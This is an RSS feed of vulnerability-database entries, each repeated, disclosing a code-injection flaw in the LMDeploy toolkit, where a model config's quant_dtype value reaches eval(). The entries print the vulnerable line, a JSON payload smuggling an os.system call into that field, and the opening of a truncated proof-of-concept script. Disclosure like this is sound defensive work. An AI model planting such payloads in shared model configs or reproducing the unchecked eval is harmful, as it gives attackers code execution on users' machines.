https://db.gcve.eu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Wed, 30 Sep 2026 09:33:51 +0000 https://db.gcve.eu/vuln/fkie_cve-2026-33625 <p>LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions 012.1 through 0.12.2 contain a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f&#39;torch.{quant_dtype}&#39;)` without any validation. Version 0.12.3 contains a patch.</p> <p>LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions 012.1 through 0.12.2 contain a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f&#39;torch.{quant_dtype}&#39;)` without any validation. Version 0.12.3 contains a patch.</p> https://db.gcve.eu/vuln/fkie_cve-2026-33625 https://db.gcve.eu/vuln/ghsa-3hmm-rh5q-gwwr <p><strong>Affected:</strong> PyPI: lmdeploy</p> <p>### Summary</p> <p>lmdeploy &lt;= latest contains a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f&#39;torch.{quant_dtype}&#39;)` without any validation.</p> <p>### Details</p> <p>**Vulnerable code** ([permalink](https://github.com/InternLM/lmdeploy/blob/17ed9e5/lmdeploy/pytorch/config.py#L620)):</p> <p>```python quant_dtype = eval(f&#39;torch.{quant_dtype}&#39;) # line 620 ```</p> <p>The `quant_dtype` value comes from the model&#39;s `quantization_config` in its HuggingFace config. When a model specifies `quant_method: awq`, the AWQ branch processes the config but does NOT override `quant_dtype`, allowing the malicious value to reach the `eval()` call.</p> <p>**Attack vector:** An attacker publishes a HuggingFace model with: ```json { &#34;quantization_config&#34;: { &#34;quant_method&#34;: &#34;awq&#34;, &#34;quant_dtype&#34;: &#34;float16, __import__(&#39;os&#39;).system(&#39;id&#39;)&#34; } } ```</p> <p>Note: The `_update_torch_dtype` method at line 53 has a whitelist check, but that&#39;s for `torch_dtype`, NOT `quant_dtype`. The `quant_dtype` at line 620 has no validation whatsoever.</p> <p>### PoC</p> <p>```python &#34;&#34;&#34; PoC: eval() RCE in lmdeploy via malicious quant_dtype Prerequisites: pip install lmdeploy &#34;&#34;&#34; import sys from unittest.mock import MagicMock, patch</p> <p># Mock torch to capture the eval sys.modules.setdefault(&#39;torch&#39;, Magi…</p> <p><strong>Affected:</strong> PyPI: lmdeploy</p> <p>### Summary</p> <p>lmdeploy &lt;= latest contains a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f&#39;torch.{quant_dtype}&#39;)` without any validation.</p> <p>### Details</p> <p>**Vulnerable code** ([permalink](https://github.com/InternLM/lmdeploy/blob/17ed9e5/lmdeploy/pytorch/config.py#L620)):</p> <p>```python quant_dtype = eval(f&#39;torch.{quant_dtype}&#39;) # line 620 ```</p> <p>The `quant_dtype` value comes from the model&#39;s `quantization_config` in its HuggingFace config. When a model specifies `quant_method: awq`, the AWQ branch processes the config but does NOT override `quant_dtype`, allowing the malicious value to reach the `eval()` call.</p> <p>**Attack vector:** An attacker publishes a HuggingFace model with: ```json { &#34;quantization_config&#34;: { &#34;quant_method&#34;: &#34;awq&#34;, &#34;quant_dtype&#34;: &#34;float16, __import__(&#39;os&#39;).system(&#39;id&#39;)&#34; } } ```</p> <p>Note: The `_update_torch_dtype` method at line 53 has a whitelist check, but that&#39;s for `torch_dtype`, NOT `quant_dtype`. The `quant_dtype` at line 620 has no validation whatsoever.</p> <p>### PoC</p> <p>```python &#34;&#34;&#34; PoC: eval() RCE in lmdeploy via malicious quant_dtype Prerequisites: pip install lmdeploy &#34;&#34;&#34; import sys from unittest.mock import MagicMock, patch</p> <p># Mock torch to capture the eval sys.modules.setdefault(&#39;torch&#39;, Magi…</p> https://db.gcve.eu/vuln/ghsa-3hmm-rh5q-gwwr